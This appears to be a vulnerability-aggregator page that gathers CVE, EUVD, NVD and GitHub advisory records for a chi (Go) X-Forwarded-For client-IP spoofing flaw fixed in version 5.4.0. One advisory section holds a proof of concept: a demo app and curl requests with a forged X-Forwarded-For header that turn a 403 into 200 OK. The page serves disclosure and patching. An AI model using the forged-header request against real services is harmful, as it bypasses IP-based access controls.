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Chi Client IP Spoofing in ClientIPFromXFF via X-Forwarded-For

Exploitation and risk

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cve-program · CVE-2026-114437

Published

In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP. This issue affects chi before 5.4.0.

Source published
21 Oct 2026 13:52:25 UTC
Source modified
21 Oct 2026 17:19:13 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 4.8 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

euvd · EUVD-2026-107261

Published

In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP. This issue affects chi before 5.4.0.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Oct 21, 2026, 1:52:25 PM

dateUpdated: Oct 21, 2026, 5:19:13 PM

2 related source bulletins · separate from aliases

openSUSE-SU-2026:22201-1: Security update for hauler

CVE-2026-114437 · CVE-2026-78669

openSUSE-SU-2026:12290-1: hauler-2.1.2-2.1 on GA media

CVE-2026-114437

Source published
Oct 21, 2026, 1:52:25 PM (timezone not stated)
Source modified
Oct 21, 2026, 5:19:13 PM (timezone not stated)
Saved here
15 Nov 2026 06:38:15 UTC
Source terms
ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-114437

Published

In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP. This issue affects chi before 5.4.0.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-348

Original publisher date fields

published: 2026-10-21T14:17:14.690

lastModified: 2026-10-21T18:17:27.563

Source published
21 Oct 2026 14:17:14 UTC
Source modified
21 Oct 2026 18:17:27 UTC
Saved here
25 Oct 2026 05:17:18 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 6.3 CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 4.8 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

osv · GHSA-7cgw-qmxx-7fc2

Withdrawn

## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-j6qf-3m9c-vwj3. This link is maintained to preserve external references. ## Original Description In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP. This issue affects chi before 5.4.0.

Source published
21 Oct 2026 15:42:31 UTC
Source modified
23 Oct 2026 21:15:03 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

CVSS_V4 · CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Publisher rating · MODERATE

osv · GHSA-j6qf-3m9c-vwj3

Published

### Summary `ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`. The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N). **Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required. 1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header. 2. Observe a `403 Forbidden` response and an empty derived client IP. 3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`. 4. Observe `200 OK` and `client-ip="10.0.0.7"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted. ### Details The vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address: ```go walkXFF(r.Header[xForwardedForHeader], func(v string) bool { ip, ok := parseHeaderAddr(v) if !ok { return true } if inAnyPrefix(ip, prefixes) { return false } found = ip return true }) ``` The function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies. ### Proof of concept Using Go 1.24 or later, create and run this minimal application against the tested revision: ```sh mkdir chi-clientip-poc cd chi-clientip-poc go mod init clientip-poc go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1 cat > main.go <<'EOF' package main import ( "fmt" "log" "net/http" "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" ) const allowedIP = "10.0.0.7" func main() { r := chi.NewRouter() r.Use(middleware.ClientIPFromXFF("198.51.100.0/24")) r.Get("/admin", func(w http.ResponseWriter, r *http.Request) { clientIP := middleware.GetClientIP(r.Context()) if clientIP != allowedIP { http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden) return } fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP) }) log.Print("listening on http://127.0.0.1:3001") log.Fatal(http.ListenAndServe("127.0.0.1:3001", r)) } EOF go run . ``` The no-header control was rejected: ```console $ curl --http1.1 -i http://127.0.0.1:3001/admin HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 06 Oct 2026 15:46:27 GMT Content-Length: 48 denied: tcp-peer="127.0.0.1:54416" client-ip="" ``` Adding the forged chain authorized the same direct client: ```console $ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin HTTP/1.1 200 OK Date: Tue, 06 Oct 2026 15:46:33 GMT Content-Length: 57 Content-Type: text/plain; charset=utf-8 allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7" ``` ### Impact I made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.

Source published
23 Oct 2026 20:56:46 UTC
Source modified
23 Oct 2026 21:15:03 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Publisher rating · MODERATE

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